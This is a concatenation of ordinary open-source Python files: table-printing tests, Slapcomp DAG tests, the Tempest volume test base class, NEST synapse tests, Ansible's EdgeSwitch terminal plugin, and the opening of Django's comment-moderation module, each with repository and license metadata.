sys.stdout = self.real_stdout
self.stringio.seek(0)
self.read = self.stringio.read
class PrintListTestCase(test_utils.TestCase):
def test_print_list_with_list(self):
Row = collections.namedtuple('Row', ['a', 'b'])
to_print = [Row(a=3, b=4), Row(a=1, b=2)]
with CaptureStdout() as cso:
utils.print_list(to_print, ['a', 'b'])
# Output should be sorted by the first key (a)
self.assertEqual("""\
+---+---+
| a | b |
+---+---+
| 1 | 2 |
| 3 | 4 |
+---+---+
""", cso.read())
def test_print_list_with_None_data(self):
Row = collections.namedtuple('Row', ['a', 'b'])
to_print = [Row(a=3, b=None), Row(a=1, b=2)]
with CaptureStdout() as cso:
utils.print_list(to_print, ['a', 'b'])
# Output should be sorted by the first key (a)
self.assertEqual("""\
+---+---+
| a | b |
+---+---+
| 1 | 2 |
| 3 | - |
+---+---+
""", cso.read())
def test_print_list_with_list_sortby(self):
Row = collections.namedtuple('Row', ['a', 'b'])
to_print = [Row(a=4, b=3), Row(a=2, b=1)]
with CaptureStdout() as cso:
utils.print_list(to_print, ['a', 'b'], sortby_index=1)
# Output should be sorted by the second key (b)
self.assertEqual("""\
+---+---+
| a | b |
+---+---+
| 2 | 1 |
| 4 | 3 |
+---+---+
""", cso.read())
def test_print_list_with_list_no_sort(self):
Row = collections.namedtuple('Row', ['a', 'b'])
to_print = [Row(a=3, b=4), Row(a=1, b=2)]
with CaptureStdout() as cso:
utils.print_list(to_print, ['a', 'b'], sortby_index=None)
# Output should be in the order given
self.assertEqual("""\
+---+---+
| a | b |
+---+---+
| 3 | 4 |
| 1 | 2 |
+---+---+
""", cso.read())
def test_print_list_with_generator(self):
Row = collections.namedtuple('Row', ['a', 'b'])
def gen_rows():
for row in [Row(a=1, b=2), Row(a=3, b=4)]:
yield row
with CaptureStdout() as cso:
utils.print_list(gen_rows(), ['a', 'b'])
self.assertEqual("""\
+---+---+
| a | b |
+---+---+
| 1 | 2 |
| 3 | 4 |
+---+---+
""", cso.read())
def test_print_list_with_return(self):
Row = collections.namedtuple('Row', ['a', 'b'])
to_print = [Row(a=3, b='a\r'), Row(a=1, b='c\rd')]
with CaptureStdout() as cso:
utils.print_list(to_print, ['a', 'b'])
# Output should be sorted by the first key (a)
self.assertEqual("""\
+---+-----+
| a | b |
+---+-----+
| 1 | c d |
| 3 | a |
+---+-----+
""", cso.read())
class PrintDictTestCase(test_utils.TestCase):
def test_print_dict_with_return(self):
d = {'a': 'A', 'b': 'B', 'c': 'C', 'd': 'test\rcarriage\n\rreturn'}
with CaptureStdout() as cso:
utils.print_dict(d)
self.assertEqual("""\
+----------+---------------+
| Property | Value |
+----------+---------------+
| a | A |
| b | B |
| c | C |
| d | test carriage |
| | return |
+----------+---------------+
""", cso.read())
|
apache-2.0
|
fcnmx/slapcomp
|
unittests.py
|
1
|
4049
|
"""
Slapcomp Unit Tests
~~~~~~~~~~~~~~~~~~~~
Testing DAG functions.
:Version 0.1 Written by Daniel Hayes ([email protected]) June 2012
"""
#import os
import sys
sys.path.append("/Users/d/Dropbox/work/")
sys.path.append("/home/d/Dropbox/work/")
import unittest
from slapcomp.core.dag import Dag
from slapcomp.nodes import StdOutNode
from slapcomp.nodes.math import IntegerNode, MathNode
class testGraphEval(unittest.TestCase):
def setUp(self):
self.testDag = Dag('self.testDag', autoUpdate=False)
def testMathNodes(self):
"""
Test the basic math nodes
"""
node1 = IntegerNode("Two", value=2)
node2 = IntegerNode("Four", value=4)
node3 = MathNode("Addition", operation="Add")
node4 = IntegerNode("Two2", value=2)
node5 = MathNode("Addition2", operation="Add")
nodeView = StdOutNode('StdOutView')
self.testDag.connectNode(parent=node1, child=node3, ptIn="a")
self.testDag.connectNode(parent=node2, child=node3, ptIn="b")
self.testDag.connectNode(parent=node4, child=node5, ptIn="a")
self.testDag.connectNode(parent=node3, child=node5, ptIn="b")
self.testDag.connectNode(parent=node5, child=nodeView)
self.testDag.setViewer(nodeView)
self.testDag.update()
self.assertEqual(nodeView.data["val"], 8)
def X_testProjectionNodes(self):
'''
Test projection nodes.
'''
self.testDag = self.testproj.addScene("vector_proj_test")
nodeView = Node_Info("Get Info")
self.testDag.setViewer(nodeView)
cam = Node_Camera("Camera")
nodeVector1 = Node_Vector_Screen("Test_Vector1")
nodeTrans1 = Node_Screen_to_Layout("Transform1")
nodeVector2 = Node_Vector_CamXYZ("Test_Vector2")
nodeTrans2 = Node_Layout_to_Screen("Transform2")
self.testDag.connectNode(parent=nodeVector1, child=nodeTrans1, ptIn="obj")
self.testDag.connectNode(parent=cam, child=nodeTrans1, ptIn="cam")
self.testDag.connectNode(parent=nodeTrans1, child=nodeView)
self.testDag.refresh()
self.testDag.connectNode(parent=nodeVector2, child=nodeTrans2, ptIn="obj")
self.testDag.connectNode(parent=cam, child=nodeTrans2, ptIn="cam")
self.testDag.connectNode(parent=nodeTrans2, child=nodeView)
def ImageNodes(self):
'''
Test image operations
'''
self.testDag = self.testproj.addScene("image_test")
node1 = Node_Read_Image("img1", file='test1.tif')
node2 = Node_Read_Image("img2", file='test2.tif')
nodeMix = Node_Composite_Over("Over")
nodeView = Node_View_Image("Show_Image_Result")
self.testDag.connectNode(parent=node1, child=nodeMix, ptIn="layerA")
self.testDag.connectNode(parent=node2, child=nodeMix, ptIn="layerB")
self.testDag.connectNode(parent=nodeMix, child=nodeView)
self.testDag.setViewer(nodeView)
self.testDag.refresh()
def X_BasicColorNodes(self):
self.testDag = self.testproj.addScene("colornode_test")
node1 = Node_Constant_Color("Grey", color=(100, 100, 100, 100), resolution=(640, 480))
node2 = Node_Constant_Color("White", color=(155, 155, 155, 155), resolution=(640, 480))
nodeMix = Node_Composite_Over("Over")
nodeView = Node_View_Image("Show_Image_Result")
self.testDag.connectNode(parent=node1, child=nodeMix, ptIn="layerA")
self.testDag.connectNode(parent=node2, child=nodeMix, ptIn="layerB")
self.testDag.connectNode(parent=nodeMix, child=nodeView)
self.testDag.setViewer(nodeView)
self.testDag.refresh()
if __name__ == '__main__':
unittest.main()
#from networkx.readwrite import json_graph
#jsong = json_graph.node_link_data(self.testDag.sceneGraph())
#import jsonpickle
#gjpickled = jsonpickle.encode(jsong)
#print gjpickled
#AG = nx.to_agraph(self.testDag.sceneGraph())
#print AG.string()
# unittest.main()
|
bsd-3-clause
|
openstack/tempest
|
tempest/api/volume/base.py
|
1
|
14970
|
# Copyright 2012 OpenStack Foundation
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
from tempest.api.volume import api_microversion_fixture
from tempest.common import compute
from tempest.common import waiters
from tempest import config
from tempest.lib.common import api_version_utils
from tempest.lib.common.utils import data_utils
from tempest.lib.common.utils import test_utils
import tempest.test
CONF = config.CONF
class BaseVolumeTest(api_version_utils.BaseMicroversionTest,
tempest.test.BaseTestCase):
"""Base test case class for all Cinder API tests."""
# Set this to True in subclasses to create a default network. See
# https://bugs.launchpad.net/tempest/+bug/1844568
create_default_network = False
credentials = ['primary']
@classmethod
def skip_checks(cls):
super(BaseVolumeTest, cls).skip_checks()
if not CONF.service_available.cinder:
skip_msg = ("%s skipped as Cinder is not available" % cls.__name__)
raise cls.skipException(skip_msg)
api_version_utils.check_skip_with_microversion(
cls.min_microversion, cls.max_microversion,
CONF.volume.min_microversion, CONF.volume.max_microversion)
@classmethod
def setup_credentials(cls):
cls.set_network_resources(
network=cls.create_default_network,
subnet=cls.create_default_network)
super(BaseVolumeTest, cls).setup_credentials()
@classmethod
def setup_clients(cls):
super(BaseVolumeTest, cls).setup_clients()
cls.servers_client = cls.os_primary.servers_client
if CONF.service_available.glance:
cls.images_client = cls.os_primary.image_client_v2
cls.backups_client = cls.os_primary.backups_client_latest
cls.volumes_client = cls.os_primary.volumes_client_latest
cls.messages_client = cls.os_primary.volume_messages_client_latest
cls.versions_client = cls.os_primary.volume_versions_client_latest
cls.groups_client = cls.os_primary.groups_client_latest
cls.group_snapshots_client = (
cls.os_primary.group_snapshots_client_latest)
cls.snapshots_client = cls.os_primary.snapshots_client_latest
cls.volumes_extension_client =\
cls.os_primary.volumes_extension_client_latest
cls.availability_zone_client = (
cls.os_primary.volume_availability_zone_client_latest)
cls.volume_limits_client = cls.os_primary.volume_limits_client_latest
def setUp(self):
super(BaseVolumeTest, self).setUp()
self.useFixture(api_microversion_fixture.APIMicroversionFixture(
self.request_microversion))
@classmethod
def resource_setup(cls):
super(BaseVolumeTest, cls).resource_setup()
cls.request_microversion = (
api_version_utils.select_request_microversion(
cls.min_microversion,
CONF.volume.min_microversion))
cls.image_ref = CONF.compute.image_ref
cls.flavor_ref = CONF.compute.flavor_ref
cls.build_interval = CONF.volume.build_interval
cls.build_timeout = CONF.volume.build_timeout
@classmethod
def create_volume(cls, wait_until='available', **kwargs):
"""Wrapper utility that returns a test volume.
:param wait_until: wait till volume status.
"""
if 'size' not in kwargs:
kwargs['size'] = CONF.volume.volume_size
if 'imageRef' in kwargs:
image = cls.images_client.show_image(kwargs['imageRef'])
min_disk = image['min_disk']
kwargs['size'] = max(kwargs['size'], min_disk)
if 'name' not in kwargs:
name = data_utils.rand_name(cls.__name__ + '-Volume')
kwargs['name'] = name
if CONF.volume.volume_type and 'volume_type' not in kwargs:
# If volume_type is not provided in config then no need to
# add a volume type and
# if volume_type has already been added by child class then
# no need to override.
kwargs['volume_type'] = CONF.volume.volume_type
if CONF.compute.compute_volume_common_az:
kwargs.setdefault('availability_zone',
CONF.compute.compute_volume_common_az)
volume = cls.volumes_client.create_volume(**kwargs)['volume']
cls.addClassResourceCleanup(test_utils.call_and_ignore_notfound_exc,
cls.delete_volume, cls.volumes_client,
volume['id'])
waiters.wait_for_volume_resource_status(cls.volumes_client,
volume['id'], wait_until)
return volume
@classmethod
def create_snapshot(cls, volume_id=1, **kwargs):
"""Wrapper utility that returns a test snapshot."""
if 'name' not in kwargs:
name = data_utils.rand_name(cls.__name__ + '-Snapshot')
kwargs['name'] = name
snapshot = cls.snapshots_client.create_snapshot(
volume_id=volume_id, **kwargs)['snapshot']
cls.addClassResourceCleanup(test_utils.call_and_ignore_notfound_exc,
cls.delete_snapshot, snapshot['id'])
waiters.wait_for_volume_resource_status(cls.snapshots_client,
snapshot['id'], 'available')
return snapshot
def create_backup(self, volume_id, backup_client=None, **kwargs):
"""Wrapper utility that returns a test backup."""
if backup_client is None:
backup_client = self.backups_client
if 'name' not in kwargs:
name = data_utils.rand_name(self.__class__.__name__ + '-Backup')
kwargs['name'] = name
backup = backup_client.create_backup(
volume_id=volume_id, **kwargs)['backup']
# addCleanup uses list pop to cleanup. Wait should be added before
# the backup is deleted
self.addCleanup(backup_client.wait_for_resource_deletion,
backup['id'])
self.addCleanup(backup_client.delete_backup, backup['id'])
waiters.wait_for_volume_resource_status(backup_client, backup['id'],
'available')
return backup
# NOTE(afazekas): these create_* and clean_* could be defined
# only in a single location in the source, and could be more general.
@staticmethod
def delete_volume(client, volume_id):
"""Delete volume by the given client"""
client.delete_volume(volume_id)
client.wait_for_resource_deletion(volume_id)
@classmethod
def delete_snapshot(cls, snapshot_id, snapshots_client=None):
"""Delete snapshot by the given client"""
if snapshots_client is None:
snapshots_client = cls.snapshots_client
snapshots_client.delete_snapshot(snapshot_id)
snapshots_client.wait_for_resource_deletion(snapshot_id)
def attach_volume(self, server_id, volume_id):
"""Attach a volume to a server"""
self.servers_client.attach_volume(
server_id, volumeId=volume_id,
device='/dev/%s' % CONF.compute.volume_device_name)
waiters.wait_for_volume_resource_status(self.volumes_client,
volume_id, 'in-use')
self.addCleanup(waiters.wait_for_volume_resource_status,
self.volumes_client, volume_id, 'available')
self.addCleanup(self.servers_client.detach_volume, server_id,
volume_id)
def create_server(self, wait_until='ACTIVE', **kwargs):
name = kwargs.pop(
'name',
data_utils.rand_name(self.__class__.__name__ + '-instance'))
tenant_network = self.get_tenant_network()
body, _ = compute.create_test_server(
self.os_primary,
tenant_network=tenant_network,
name=name,
wait_until=wait_until,
**kwargs)
self.addCleanup(test_utils.call_and_ignore_notfound_exc,
waiters.wait_for_server_termination,
self.servers_client, body['id'])
self.addCleanup(test_utils.call_and_ignore_notfound_exc,
self.servers_client.delete_server, body['id'])
return body
def create_group(self, **kwargs):
if 'name' not in kwargs:
kwargs['name'] = data_utils.rand_name(
self.__class__.__name__ + '-Group')
group = self.groups_client.create_group(**kwargs)['group']
self.addCleanup(test_utils.call_and_ignore_notfound_exc,
self.delete_group, group['id'])
waiters.wait_for_volume_resource_status(
self.groups_client, group['id'], 'available')
return group
def delete_group(self, group_id, delete_volumes=True):
group_vols = []
if delete_volumes:
vols = self.volumes_client.list_volumes(detail=True)['volumes']
for vol in vols:
if vol['group_id'] == group_id:
group_vols.append(vol['id'])
self.groups_client.delete_group(group_id, delete_volumes)
for vol in group_vols:
self.volumes_client.wait_for_resource_deletion(vol)
self.groups_client.wait_for_resource_deletion(group_id)
class BaseVolumeAdminTest(BaseVolumeTest):
"""Base test case class for all Volume Admin API tests."""
credentials = ['primary', 'admin']
@classmethod
def setup_clients(cls):
super(BaseVolumeAdminTest, cls).setup_clients()
cls.admin_volume_qos_client = cls.os_admin.volume_qos_client_latest
cls.admin_volume_services_client = \
cls.os_admin.volume_services_client_latest
cls.admin_volume_types_client = cls.os_admin.volume_types_client_latest
cls.admin_volume_manage_client = (
cls.os_admin.volume_manage_client_latest)
cls.admin_volume_client = cls.os_admin.volumes_client_latest
cls.admin_groups_client = cls.os_admin.groups_client_latest
cls.admin_messages_client = cls.os_admin.volume_messages_client_latest
cls.admin_group_snapshots_client = \
cls.os_admin.group_snapshots_client_latest
cls.admin_group_types_client = cls.os_admin.group_types_client_latest
cls.admin_hosts_client = cls.os_admin.volume_hosts_client_latest
cls.admin_snapshot_manage_client = \
cls.os_admin.snapshot_manage_client_latest
cls.admin_snapshots_client = cls.os_admin.snapshots_client_latest
cls.admin_backups_client = cls.os_admin.backups_client_latest
cls.admin_encryption_types_client = \
cls.os_admin.encryption_types_client_latest
cls.admin_quota_classes_client = \
cls.os_admin.volume_quota_classes_client_latest
cls.admin_quotas_client = cls.os_admin.volume_quotas_client_latest
cls.admin_volume_limits_client = (
cls.os_admin.volume_limits_client_latest)
cls.admin_capabilities_client = \
cls.os_admin.volume_capabilities_client_latest
cls.admin_scheduler_stats_client = \
cls.os_admin.volume_scheduler_stats_client_latest
@classmethod
def create_test_qos_specs(cls, name=None, consumer=None, **kwargs):
"""create a test Qos-Specs."""
name = name or data_utils.rand_name(cls.__name__ + '-QoS')
consumer = consumer or 'front-end'
qos_specs = cls.admin_volume_qos_client.create_qos(
name=name, consumer=consumer, **kwargs)['qos_specs']
cls.addClassResourceCleanup(cls.clear_qos_spec, qos_specs['id'])
return qos_specs
@classmethod
def create_volume_type(cls, name=None, **kwargs):
"""Create a test volume-type"""
name = name or data_utils.rand_name(cls.__name__ + '-volume-type')
volume_type = cls.admin_volume_types_client.create_volume_type(
name=name, **kwargs)['volume_type']
cls.addClassResourceCleanup(cls.clear_volume_type, volume_type['id'])
return volume_type
def create_encryption_type(self, type_id=None, provider=None,
key_size=None, cipher=None,
control_location=None):
if not type_id:
volume_type = self.create_volume_type()
type_id = volume_type['id']
self.admin_encryption_types_client.create_encryption_type(
type_id, provider=provider, key_size=key_size, cipher=cipher,
control_location=control_location)
def create_encrypted_volume(self, encryption_provider, key_size=256,
cipher='aes-xts-plain64',
control_location='front-end'):
volume_type = self.create_volume_type()
self.create_encryption_type(type_id=volume_type['id'],
provider=encryption_provider,
key_size=key_size,
cipher=cipher,
control_location=control_location)
return self.create_volume(volume_type=volume_type['name'])
def create_group_type(self, name=None, **kwargs):
"""Create a test group-type"""
name = name or data_utils.rand_name(
self.__class__.__name__ + '-group-type')
group_type = self.admin_group_types_client.create_group_type(
name=name, **kwargs)['group_type']
self.addCleanup(self.admin_group_types_client.delete_group_type,
group_type['id'])
return group_type
@classmethod
def clear_qos_spec(cls, qos_id):
test_utils.call_and_ignore_notfound_exc(
cls.admin_volume_qos_client.delete_qos, qos_id)
test_utils.call_and_ignore_notfound_exc(
cls.admin_volume_qos_client.wait_for_resource_deletion, qos_id)
@classmethod
def clear_volume_type(cls, vol_type_id):
test_utils.call_and_ignore_notfound_exc(
cls.admin_volume_types_client.delete_volume_type, vol_type_id)
test_utils.call_and_ignore_notfound_exc(
cls.admin_volume_types_client.wait_for_resource_deletion,
vol_type_id)
|
apache-2.0
|
tobikausk/nest-simulator
|
pynest/nest/tests/test_vogels_sprekeler_synapse.py
|
16
|
8546
|
# -*- coding: utf-8 -*-
#
# test_vogels_sprekeler_synapse.py
#
# This file is part of NEST.
#
# Copyright (C) 2004 The NEST Initiative
#
# NEST is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 2 of the License, or
# (at your option) any later version.
#
# NEST is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with NEST. If not, see <http://www.gnu.org/licenses/>.
# This script tests the vogels_sprekeler_synapse in NEST.
import nest
import unittest
from math import exp
@nest.check_stack
class VogelsSprekelerConnectionTestCase(unittest.TestCase):
"""Check vogels_sprekeler_synapse model properties."""
def setUp(self):
"""Set up the test."""
nest.set_verbosity('M_WARNING')
nest.ResetKernel()
# settings
self.dendritic_delay = 1.0
self.decay_duration = 5.0
self.synapse_model = "vogels_sprekeler_synapse"
self.syn_spec = {
"model": self.synapse_model,
"delay": self.dendritic_delay,
"weight": 5.0,
"eta": 0.001,
"alpha": 0.1,
"tau": 20.,
"Kplus": 0.0,
"Wmax": 15.,
}
# setup basic circuit
self.pre_neuron = nest.Create("parrot_neuron")
self.post_neuron = nest.Create("parrot_neuron")
nest.Connect(self.pre_neuron, self.post_neuron,
syn_spec=self.syn_spec)
def generateSpikes(self, neuron, times):
"""Trigger spike to given neuron at specified times."""
delay = self.dendritic_delay
gen = nest.Create("spike_generator", 1,
{"spike_times": [t-delay for t in times]})
nest.Connect(gen, neuron, syn_spec={"delay": delay})
def status(self, which):
"""Get synapse parameter status."""
stats = nest.GetConnections(self.pre_neuron,
synapse_model=self.synapse_model)
return nest.GetStatus(stats, [which])[0][0]
def decay(self, time, Kvalue):
"""Decay variables."""
Kvalue *= exp(- time / self.syn_spec["tau"])
return Kvalue
def facilitate(self, w, Kplus):
"""Facilitate weight."""
new_w = w + (self.syn_spec['eta'] * Kplus)
return new_w if (new_w / self.status('Wmax') < 1.0) else \
self.syn_spec['Wmax']
def depress(self, w):
"""Depress weight."""
new_w = w - (self.syn_spec['alpha'] * self.syn_spec['eta'])
return new_w if (new_w / self.status('Wmax') > 0.0) else 0
def assertAlmostEqualDetailed(self, expected, given, message):
"""Improve assetAlmostEqual with detailed message."""
messageWithValues = ("%s (expected: `%s` was: `%s`" % (message,
str(expected),
str(given)))
self.assertAlmostEqual(given, expected, msg=messageWithValues)
def test_badPropertiesSetupsThrowExceptions(self):
"""Check that exceptions are thrown when setting bad parameters."""
def setupProperty(property):
bad_syn_spec = self.syn_spec.copy()
bad_syn_spec.update(property)
nest.Connect(self.pre_neuron, self.post_neuron,
syn_spec=bad_syn_spec)
def badPropertyWith(content, parameters):
self.assertRaisesRegexp(nest.NESTError, "BadProperty(.+)" +
content, setupProperty, parameters)
badPropertyWith("Kplus", {"Kplus": -1.0})
def test_varsZeroAtStart(self):
"""Check that pre and post-synaptic variables are zero at start."""
self.assertAlmostEqualDetailed(0.0, self.status("Kplus"),
"Kplus should be zero")
def test_preVarsIncreaseWithPreSpike(self):
"""
Check that pre-synaptic variable, Kplus increase after each
pre-synaptic spike.
"""
self.generateSpikes(self.pre_neuron, [2.0])
Kplus = self.status("Kplus")
nest.Simulate(20.0)
self.assertAlmostEqualDetailed(Kplus + 1.0, self.status("Kplus"),
"Kplus should have increased by 1")
def test_preVarsDecayAfterPreSpike(self):
"""
Check that pre-synaptic variables Kplus decay after each
pre-synaptic spike.
"""
self.generateSpikes(self.pre_neuron, [2.0])
self.generateSpikes(self.pre_neuron,
[2.0 + self.decay_duration]) # trigger computation
Kplus = self.decay(self.decay_duration, 1.0)
Kplus += 1.0
nest.Simulate(20.0)
self.assertAlmostEqualDetailed(Kplus, self.status("Kplus"),
"Kplus should have decay")
def test_preVarsDecayAfterPostSpike(self):
"""
Check that pre-synaptic variables Kplus decay after each post-synaptic
spike.
"""
self.generateSpikes(self.pre_neuron, [2.0])
self.generateSpikes(self.post_neuron, [3.0, 4.0])
self.generateSpikes(self.pre_neuron,
[2.0 + self.decay_duration]) # trigger computation
Kplus = self.decay(self.decay_duration, 1.0)
Kplus += 1.0
nest.Simulate(20.0)
self.assertAlmostEqualDetailed(Kplus, self.status("Kplus"),
"Kplus should have decay")
def test_weightChangeWhenPrePostSpikes(self):
"""Check that weight changes whenever a pre-post spike pair happen."""
self.generateSpikes(self.pre_neuron, [2.0])
self.generateSpikes(self.post_neuron, [4.0])
self.generateSpikes(self.pre_neuron, [6.0]) # trigger computation
print("")
weight = self.status("weight")
Kplus = self.status("Kplus")
Kminus = 0.
Kplus = self.decay(2.0, Kplus)
# first pre-synaptic spike
weight = self.facilitate(weight, Kminus)
weight = self.depress(weight)
Kplus += 1.0
# Resultant postspike at 3.0ms (because we're using parrot neurons, the
# prespike causes a postspike too
Kminus += 1.0
# Planned postspike at 4.0ms
Kminus = self.decay(1.0, Kminus)
Kminus += 1.0
# next pre-synaptic spike
# first postspike in history
dt = 2.0
Kplus_temp1 = self.decay(2.0, Kplus)
weight = self.facilitate(weight, Kplus_temp1)
# second postspike in history
dt = 3.0
Kplus_temp2 = self.decay(3.0, Kplus)
weight = self.facilitate(weight, Kplus_temp2)
Kminus = self.decay(1.0, Kminus)
weight = self.facilitate(weight, Kminus)
weight = self.depress(weight)
Kplus = self.decay(4.0, Kplus)
# The simulation using Nest
nest.Simulate(20.0)
self.assertAlmostEqualDetailed(weight, self.status("weight"),
"weight should have increased")
def test_maxWeightStaturatesWeight(self):
"""Check that setting maximum weight property keep weight limited."""
limited_weight = self.status("weight") + 1e-10
conn = nest.GetConnections(target=self.post_neuron,
source=self.pre_neuron)
# disable depression to make it get to max weight
# increase eta to cause enough facilitation
nest.SetStatus(conn, "Wmax", limited_weight)
nest.SetStatus(conn, "eta", 5.)
nest.SetStatus(conn, "alpha", 0.)
self.generateSpikes(self.pre_neuron, [2.0])
self.generateSpikes(self.post_neuron, [3.0])
self.generateSpikes(self.pre_neuron, [4.0]) # trigger computation
self.assertAlmostEqualDetailed(limited_weight,
self.status("weight"),
"weight should have been limited")
def suite():
return unittest.makeSuite(VogelsSprekelerConnectionTestCase, "test")
def run():
runner = unittest.TextTestRunner(verbosity=2)
runner.run(suite())
if __name__ == "__main__":
run()
|
gpl-2.0
|
andmos/ansible
|
lib/ansible/plugins/terminal/edgeswitch.py
|
63
|
3190
|
#
# (c) 2018 Red Hat Inc.
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible. If not, see <http://www.gnu.org/licenses/>.
#
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type
import json
import re
from ansible.errors import AnsibleConnectionFailure
from ansible.module_utils._text import to_text, to_bytes
from ansible.plugins.terminal import TerminalBase
class TerminalModule(TerminalBase):
terminal_stdout_re = [
re.compile(br"\(([^\(\)]+)\) [>#]$"),
re.compile(br"\(([^\(\)]+)\) \(([^\(\)]+)\)#$")
]
terminal_stderr_re = [
re.compile(br"% ?Error"),
re.compile(br"% ?Bad secret"),
re.compile(br"invalid input", re.I),
re.compile(br"(?:incomplete|ambiguous) command", re.I),
re.compile(br"connection timed out", re.I),
re.compile(br"[^\r\n]+ not found"),
re.compile(br"'[^']' +returned error code: ?\d+"),
re.compile(br"An invalid")
]
def on_open_shell(self):
return
def on_become(self, passwd=None):
prompt = self._get_prompt()
if prompt and prompt.endswith(b'#'):
return
cmd = {u'command': u'enable'}
if passwd:
cmd[u'prompt'] = to_text(r"[\r\n]?[Pp]assword: ?$", errors='surrogate_or_strict')
cmd[u'answer'] = passwd
try:
self._exec_cli_command(to_bytes(json.dumps(cmd), errors='surrogate_or_strict'))
prompt = self._get_prompt()
if prompt is None or not prompt.endswith(b'#'):
raise AnsibleConnectionFailure('failed to elevate privilege to enable mode still at prompt [%s]' % prompt)
cmd = {u'command': u'terminal length 0'}
self._exec_cli_command(to_bytes(json.dumps(cmd), errors='surrogate_or_strict'))
prompt = self._get_prompt()
if prompt is None or not prompt.endswith(b'#'):
raise AnsibleConnectionFailure('failed to setup terminal in enable mode')
except AnsibleConnectionFailure as e:
prompt = self._get_prompt()
raise AnsibleConnectionFailure('unable to elevate privilege to enable mode, at prompt [%s] with error: %s' % (prompt, e.message))
def on_unbecome(self):
prompt = self._get_prompt()
if prompt is None:
# if prompt is None most likely the terminal is hung up at a prompt
return
if b'(Config' in prompt:
self._exec_cli_command(b'end')
self._exec_cli_command(b'exit')
elif prompt.endswith(b'#'):
self._exec_cli_command(b'exit')
|
gpl-3.0
|
azureplus/hue
|
desktop/core/ext-py/Django-1.6.10/django/contrib/comments/moderation.py
|
121
|
13553
|
"""
A generic comment-moderation system which allows configuration of
moderation options on a per-model basis.
To use, do two things:
1. Create or import a subclass of ``CommentModerator`` defining the
options you want.
2. Import ``moderator`` from this module and register one or more
models, passing the models and the ``CommentModerator`` options
class you want to use.
Example
-------
First, we define a simple model class which might represent entries in
a Weblog::
from django.db import models
class Entry(models.Model):
title = models.CharField(maxlength=250)
body = models.TextField()
pub_date = models.DateField()
enable_comments = models.BooleanField()
Then we create a ``CommentModerator`` subclass specifying some
moderation options::
from django.contrib.comments.moderation import CommentModerator, moderator
class EntryModerator(CommentModerator):
email_notification = True
enable_field = 'enable_comments'
And finally register it for moderation::
moderator.register(Entry, EntryModerator)
This sample class would apply two moderation steps to each new
comment submitted on an Entry:
* If the entry's ``enable_comments`` field is set to ``False``, the
comment will be rejected (immediately deleted).
* If the comment is successfully posted, an email notification of the
comment will be sent to site staff.
For a full list of built-in moderation options and other
configurability, see the documentation for the ``CommentModerator``
class.
"""
import datetime
from django.conf import settings
from django.core.mail import send_mail
from django.contrib.comments import signals
from django.db.models.base import ModelBase
from django.template import Context, loader
from django.contrib import comments
from django.contrib.sites.models import get_current_site
from django.utils import timezone
class AlreadyModerated(Exception):
"""
Raised when a model which is already registered for moderation is
attempting to be registered again.
"""
pass
class NotModerated(Exception):
"""
Raised when a model which is not registered for moderation is
attempting to be unregistered.
"""
pass
class CommentModerator(object):
"""
Encapsulates comment-moderation options for a given model.
This class is not designed to be used directly, since it doesn't
enable any of the available moderation options. Instead, subclass
it and override attributes to enable different options::
``auto_close_field``
If this is set to the name of a ``DateField`` or
``DateTimeField`` on the model for which comments are
being moderated, new comments for objects of that model
will be disallowed (immediately deleted) when a certain
number of days have passed after the date specified in
that field. Must be used in conjunction with
``close_after``, which specifies the number of days past
which comments should be disallowed. Default value is
``None``.
``auto_moderate_field``
Like ``auto_close_field``, but instead of outright
deleting new comments when the requisite number of days
have elapsed, it will simply set the ``is_public`` field
of new comments to ``False`` before saving them. Must be
used in conjunction with ``moderate_after``, which
specifies the number of days past which comments should be
moderated. Default value is ``None``.
``close_after``
If ``auto_close_field`` is used, this must specify the
number of days past the value of the field specified by
``auto_close_field`` after which new comments for an
object should be disallowed. Default value is ``None``.
``email_notification``
If ``True``, any new comment on an object of this model
which survives moderation will generate an email to site
staff. Default value is ``False``.
``enable_field``
If this is set to the name of a ``BooleanField`` on the
model for which comments are being moderated, new comments
on objects of that model will be disallowed (immediately
deleted) whenever the value of that field is ``False`` on
the object the comment would be attached to. Default value
is ``None``.
``moderate_after``
If ``auto_moderate_field`` is used, this must specify the number
of days past the value of the field specified by
``auto_moderate_field`` after which new comments for an
object should be marked non-public. Default value is
``None``.
Most common moderation needs can be covered by changing these
attributes, but further customization can be obtained by
subclassing and overriding the following methods. Each method will
be called with three arguments: ``comment``, which is the comment
being submitted, ``content_object``, which is the object the
comment will be attached to, and ``request``, which is the
``HttpRequest`` in which the comment is being submitted::
``allow``
Should return ``True`` if the comment should be allowed to
post on the content object, and ``False`` otherwise (in
which case the comment will be immediately deleted).
``email``
If email notification of the new comment should be sent to
site staff or moderators, this method is responsible for
sending the email.
``moderate``
Should return ``True`` if the comment should be moderated
(in which case its ``is_public`` field will be set to
``False`` before saving), and ``False`` otherwise (in
which case the ``is_public`` field will not be changed).
Subclasses which want to introspect the model for which comments
are being moderated can do so through the attribute ``_model``,
which will be the model class.
"""
auto_close_field = None
auto_moderate_field = None
close_after = None
email_notification = False
enable_field = None
moderate_after = None
def __init__(self, model):
self._model = model
def _get_delta(self, now, then):
"""
Internal helper which will return a ``datetime.timedelta``
representing the time between ``now`` and ``then``. Assumes
``now`` is a ``datetime.date`` or ``datetime.datetime`` later
than ``then``.
If ``now`` and ``then`` are not of the same type due to one of
them being a ``datetime.date`` and the other being a
``datetime.datetime``, both will be coerced to
``datetime.date`` before calculating the delta.
"""
if now.__class__ is not then.__class__:
